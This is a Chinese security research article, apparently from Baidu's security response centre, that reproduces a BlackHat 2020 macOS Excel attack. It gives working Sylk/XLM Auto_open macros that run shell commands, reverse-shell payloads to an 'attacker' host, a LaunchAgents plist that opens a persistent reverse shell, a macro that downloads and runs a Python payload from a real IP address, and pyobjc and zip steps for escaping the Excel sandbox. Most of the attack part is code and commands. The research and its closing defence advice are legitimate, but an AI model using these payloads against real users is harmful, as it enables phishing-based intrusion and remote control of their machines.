XLM宏与Sylk文件
01
在正面防御越来越难突破的今天,各种钓鱼姿势层出不穷。本月的BlackHat 2020大会上出现了一种新型的macOS下的excel宏攻击,通过巧妙的漏洞链绕过了Mac沙箱,最终获得了一枚反弹shell。笔者在研究过程中遇到了一些坑点,最终成功复现。希望文章中的一些经验能够起到抛砖引玉的作用。
XLM宏与Sylk文件
01
Sylk文件是一种古老的office文件格式,虽然如今已经几乎不再使用此格式,但office仍然支持打开该格式的文件。在macOS下,双击.slk文件会默认调起Excel打开。
在Sylk文件中,VBA宏会失效,它支持另一种古老的XLM宏。一个恶意的XLM宏如下:
ID;P
O;E
NN;NAuto_open;ER101
C;X1;Y101;K0;ECALL("libc.dylib","system","JC","curl http://www.toutiao.com/")
C;X1;Y102;K0;EHALT()
E
其中第一行是Sylk文件标记,第二行表示此文档启用了XLM宏,第三行表示文档打开时,自动执行文档中第101行的代码。后面的X与Y指代单元格坐标,如『C;X1;Y101』代表101行第1列的单元格,而『;E』代表表达式,后面跟随的为XLM宏的表达式值。『CALL("libc.dylib","system","JC","curl http://www.toutiao.com")』表示调用libc.dylib中的system命令执行其后的bash命令。宏命令必须以HALK()或RETURN()结束,即第四行。结尾的E表示E标记结束。
将其另存为poc.slk文件,直接运行,便会在打开文件时执行curl http://www.toutiao.com。
在Mac Office 2011中,打开此文件时不会有任何危险提示,直接运行恶意命令,不过微软已经停止了对2011的支持,并且网上已经很难下载到2011版本。在Mac Office 2016/2019中(现已修复),若用户将偏好设置-安全性-宏安全性设置为『禁用所有宏,并且不通知』,恶意宏命令也将自动执行。可惜的是,此设置并非默认的(默认为『禁用所有宏,并发出通知』)。
尽管如此,这也会比Windows上的宏攻击更容易成功。在Windows中,只有用户主动点击安全警告中的启用内容时,宏才会被执行。而由于安全警告并不影响文档的正常使用,普通用户一般也不会主动启用宏。
而内置XLM宏的Sylk文件被打开时,Mac Office 2016/2019默认设置下会发出弹窗安全警告:
用户必须在启用宏和禁用宏中选择一个才能继续使用文档。这就意味着,在普通用户缺乏安全意识的情况下,有50%的几率中招。
执行恶意命令
02
我们将宏代码修改为反弹shell的代码:
ID;P
O;E
NN;NAuto_open;ER101
C;X1;Y101;K0;ECALL("libc.dylib","system","JC", "/bin/sh -i >& /dev/tcp/attacker/8911 0>&1")
C;X1;Y102;K0;EHALT()
E
运行后attacker上会收到一个反弹shell,而运行此文件的mac将直接卡死。这是因为bash -i会阻塞后续代码的运行,在编写宏时应特别注意这一点,否则会有一种受到了DOS攻击的表现。我们将代码修改为后台运行的反弹shell:
ID;P
O;E
NN;NAuto_open;ER101
C;X1;Y101;K0;ECALL("libc.dylib","system","JC", "/bin/sh -c '(/bin/sh -i >& /dev/tcp/attacker/8911 0>&1 &)'")
C;X1;Y102;K0;EHALT()
E
成功收到一个反弹shell,且文档关闭后反弹shell仍可正常运行。
sh-3.2$ pwd
/Users/yu/Library/Containers/com.microsoft.Excel/Data
sh-3.2$ ls
Desktop
Documents
Downloads
Library
Movies
Music
Pictures
logs
sh-3.2$ cd /Users/yu
sh-3.2$ ls
ls: .: Operation not permitted
经过一系列测试发现,此时反弹shell处于Excel的沙盒内。当处于com.microsoft.Excel/Data内时,bash功能正常;当想切换出沙盒目录时,虽然切换目录成功,但无法执行其他有效操作。这大大降低了shell的作用,即使由shell派生出新的进程,该子进程也将继承父进程的沙盒特性,除非我们能够让一个不在沙盒中的进程主动启动反弹shell。
沙盒逃逸
03
沙盒逃逸是这个议题主要的价值所在,但在复现过程中,笔者发现仅靠原作者的方式难以将整个漏洞利用链打通,故有了各种踩坑尝试。
3.1 plist
使用codesign查看Excel的权限:
codesign --display -v --entitlement - /Applications/Microsoft\ Excel.app
可以看到允许写入文件名以『~$』开始的文件:
(allow file-read* file-write*
(require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~\$[^/]+$"))
)
这是典型的office临时文件的文件名格式。尝试在沙盒外生成一个符合规则的文件:
sh-3.2$ pwd
/Users/yu
sh-3.2$ echo "t1ddl3r">\~\$hello
sh-3.2$ cat \~\$hello
t1ddl3r
sh-3.2$
成功写入,不会再像之前是『Operation not permitted』的状态。由此,所有涉及增删改查和执行的文件操作命令,一旦所操作的文件的文件名符合上述规则,便可成功执行。当然,如果操作的是文件夹就不可以。
根据此特性,我们可以向『~/Library/LaunchAgents』写入一个plist文件,待下次mac启动后,就会自动运行此plist文件,执行我们写入的命令,此时由于命令是由plist拉起的,而并非Excel派生的,便不再处于Excel沙盒之下了。plist文件如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.microsoft</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/attcker/8911 0>&1</string>
</array>
<key>KeepAlive</key>
<true/>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>1</integer>
</dict>
</plist>
当mac启动时,会自动执行『/bin/bash -c bash -i >& /dev/tcp/attcker/8911 0>&1』,且会每秒执行一次(由于命令会阻塞,实际上会表现为断线后立即重连)。由于向~/Library/LaunchAgents下写入plist并不需要高权限,这也成为mac下持久化的常用手段。但可惜的是,微软在2018年12月发布的Excel for Mac 16.20.0中修复了这个漏洞,在权限设置中特别禁止了在此目录下创建任何文件:
(deny file-write*
(subpath (string-append (param "_HOME") "/Library/Application Scripts"))
(subpath (string-append (param "_HOME") "/Library/LaunchAgents"))
)
因此我们不能再使用这种手段进行沙盒逃逸。
3.2 login item
那么除了使用plist文件,macOS下还有哪些手段能够自启动呢?答案是login item。
因为在沙盒环境下还是可以执行部分系统命令的,只要将反弹shell的程序添加到login item中,在系统启动时,反弹shell的进程便会由loginwindow派生出来,从而绕过沙盒。
那么如何将程序添加到login item中呢?原作者给出的方案是下载并运行一个恶意的python文件,使用pyobjc来通过python调用Objective-C的API,从而将程序添加到login item中。
CoreServices.LSSharedFileListInsertItemURL( loginItems, kLSSharedFileListItemLast, None, None, appURL, None, None)
但很遗憾,默认的pyobjc中并没有CoreServices这个框架,虽然在官方文档中提及了这个模块,但如果要使用需要主动安装。而mac自带的python是没有pip的(即使有在沙盒环境下也很难安装模块),所以这个方法理论上来说是行不通的。这个问题困扰了笔者良久,在BH上的演讲中,原作者对此细节也是一语带过。笔者尝试发邮件请教原作者,也未能得到回复。
经过调研发现,在macOS 10.11前,LSSharedFileListInsertItemURL存在于LaunchServices模块中,而这个模块在mac自带python中是一直附带的,不过在如今流行的版本中,LaunchServices.LSSharedFileListInsertItemURL已经无法使用了。
那么有没有其他的途径来实现这个操作呢?mac中可以使用osascript来执行AppleScript、JavaScript等语言与系统API进行交互。一番搜索后,添加login item的语句如下:
/usr/bin/osascript -e 'tell application "System Events" to make new login item with properties { path: "path/to/app", hidden:false } at end'
注意这里System Events必须由双引号包裹,而XLM宏中,命令外侧也需要使用双引号包括,并且双引号转义是无效的,也即:
C;X1;Y101;K0;ECALL("libc.dylib","system","JC", "/usr/bin/osascript -e 'tell application \"System Events\" to make new login item with properties { path: \"path/to/app\", hidden:false } at end'")
这样的语句是会报错而不能执行的,不过没关系,我们可以把执行osascript的代码放到python中或sh中,再使用XLM宏执行相应的文件,即可避免双引号冲突。最终执行结果如下:
由于添加login item时会通过『System Events』进行操作,会弹出相应的权限申请提示用户,这让本就要求苛刻的漏洞利用链更加雪上加霜,成功率大大降低。由此看来,此方法还是不可用的。
果然还是只能寄希望于pyobjc了,笔者开始查阅pyobjc的文档,希望找到一个能够直接调用系统函数的API。最终,找到了objc.loadBundleFunctions函数,其可以从NSBundle中加载函数,NSBundle常见于Mac/iOS开发中,用于加载各种资源和代码,而NSBundle在Mac Python自带的Foundation包中,正巧可以被使用。我们可以先创建一个SharedFileList的NSBundle对象(注意这里要通过Bundle Identifier加载资源而不是通过路径),然后从NSBundle中加载所需要的函数:
from platform import mac_ver
from Foundation import NSURL
from LaunchServices import kLSSharedFileListSessionLoginItems
if int(mac_ver()[0].split('.')[1]) > 10:
from Foundation import NSBundle
import objc
shared_file_list = NSBundle.bundleWithIdentifier_('com.apple.coreservices.SharedFileList')
f = [
('LSSharedFileListCreate', '^{OpaqueLSSharedFileListRef=}^{__CFAllocator=}^{__CFString=}@'),
('LSSharedFileListCopySnapshot', '^{__CFArray=}^{OpaqueLSSharedFileListRef=}o^I'),
('LSSharedFileListInsertItemURL', '^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{__CFString=}^{OpaqueIconRef=}^{__CFURL=}^{__CFDictionary=}^{__CFArray=}'),
('kLSSharedFileListItemBeforeFirst', '^{OpaqueLSSharedFileListItemRef=}')
]
objc.loadBundleFunctions(shared_file_list, globals(), f)
else:
# 10.11以下的版本直接从LaunchServices加载即可
from LaunchServices import kLSSharedFileListItemBeforeFirst, LSSharedFileListCreate, \
LSSharedFileListCopySnapshot, LSSharedFileListInsertItemURL
自此,即使不使用CoreServices包,LSSharedFileListInsertItemURL也可以被正常调用了。那么思路就很明确了:我们先使用curl下载python文件到/tmp下,然后执行该python文件,将程序添加到login item中。
ID;P
O;E
NN;NAuto_open;ER101
C;X1;Y101;K0;ECALL("libc.dylib","system","JC", "curl attacker/python_payload -o /tmp/\~\$python_payload && python /tmp/\~\$python_payload")
C;X1;Y102;K0;EHALT()
E
执行上述代码,竟未成功!经过多次调试后发现,python在import一些库时会调用os.getcwd(),由于我们的文件处于沙盒外,因此工作路径也在沙盒外,会受到沙盒的限制,从而导致代码执行失败。
知道了原因便好规避了,将文件下载到权限较完整的沙盒目录下来即可(/Users/xxx/Library/Containers/com.microsoft.Excel/Data),甚至因为处于沙盒路径内,文件名都不会收到限制了:
ID;P
O;E
NN;NAuto_open;ER101
C;X1;Y101;K0;ECALL("libc.dylib","system","JC", "curl 106.12.215.252/python_payload -o python_payload && python python_payload")
C;X1;Y102;K0;EHALT()
E
执行成功!自此,目标程序被成功添加到login item中,在用户下次登录时自动被系统调起,脱离沙盒。
3.3 zip
首先要强调一点,虽然都是自启动程序,login item与plist的不同之处在于,plist可以为可执行文件传入任意参数,而login item只是指定了要启动的程序,不能传参,否则我们只需把反弹shell的命令添加到login item中就可以了。
那么我们要把什么样的程序添加到login item中才能达到目的呢?一个自己编写的恶意二进制程序怎么样?很可惜,由于我们自己的二进制程序都要在沙盒中生成,不论是通过curl下载还是通过python释放,其本身都会带上com.apple.quarantine属性:
sh-3.2$ echo 1234 > payload
sh-3.2$ chmod +x payload
sh-3.2$ xattr payload
com.apple.quarantine
sh-3.2$ echo 1234 > payload.py
sh-3.2$ xattr payload.py
com.apple.quarantine
而GateKeeper会对所有带有com.apple.quarantine的可执行文件进行检查,若其没有合法签名,将会被禁止运行,自然也不能添加到login item中打开。
原作者的思路是通过一个zip文件释放plist到LaunchAgents中。也就是说,虽然在沙盒环境下我们不能直接在LaunchAgents中写入plist文件,但我们可以在它的上级目录创建一个『~$』开头的zip文件,只需这个zip文件中包含LaunchAgents目录,并将恶意plist放入目录中,在zip被解压时,就会自动向LaunchAgents中释放这个plist文件。
将这样的~$payload.zip生成在~/Library目录中,并将其添加到login item中,当下次启动时,便会打开此zip自解压。通过unzip命令进行实验,发现确实可以实现向LaunchAgents文件夹中释放文件。而将所有流程打通后测试,发现并未按照预计的那样将plist释放到LaunchAgents中:
程序新建了一个LaunchAgents 2文件夹,将plist解压到了这里面。原来zip自解压并非使用了unzip,而是归档工具,此两者对于目录中含有同名文件夹的处理是不同的。
而Mac下默认是没有LaunchAgents这个文件夹的,有些应用程序有自启动需求时,会创建这个文件夹。如果是默认没有的情况下,这个方法就能成功了。
总结
04
综上,漏洞利用链成功的前提是:
用户无安全意识选择启用宏
没有应用程序向~/Library下创建LaunchAgents文件夹
漏洞利用链如下:
用户选择执行宏
通过curl下载一个python文件到沙盒路径下,再下载一个构造好的~$payload.zip到~/Library目录下
执行这个python文件,将~/Library/~$payload.zip添加到login item中
当用户下次登录时(必须注销或关机重启),~$payload.zip被解压,释放plist文件到~/Library/LaunchAgents中
再下次mac重启时,plist文件被执行,反弹shell到指定目标,成功绕过沙盒
对于防御此类攻击,原作者给出的方法是监视进程和监视持久化文件两种方式,还顺带推广了一波自研的BlockBlock。实际上,有一种四两拨千斤的防御方式:只要提前向~/Library下创建LaunchAgents文件夹,使漏洞链无法完成就可以了。
reference
05
https://www.blackhat.com/us-20/briefings/schedule/#office-drama-on-macos-20854
https://stackoverflow.com/questions/4912212
https://stackoverflow.com/questions/29345341
https://objective-see.com/blog/blog_0x4B.html
百度安全应急响应中心
百度安全应急响应中心,简称BSRC,是百度致力于维护互联网健康生态环境,保障百度产品和业务线的信息安全,促进安全专家的合作与交流,而建立的漏洞收集以及应急响应平台。地址:https://bsrc.baidu.com
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/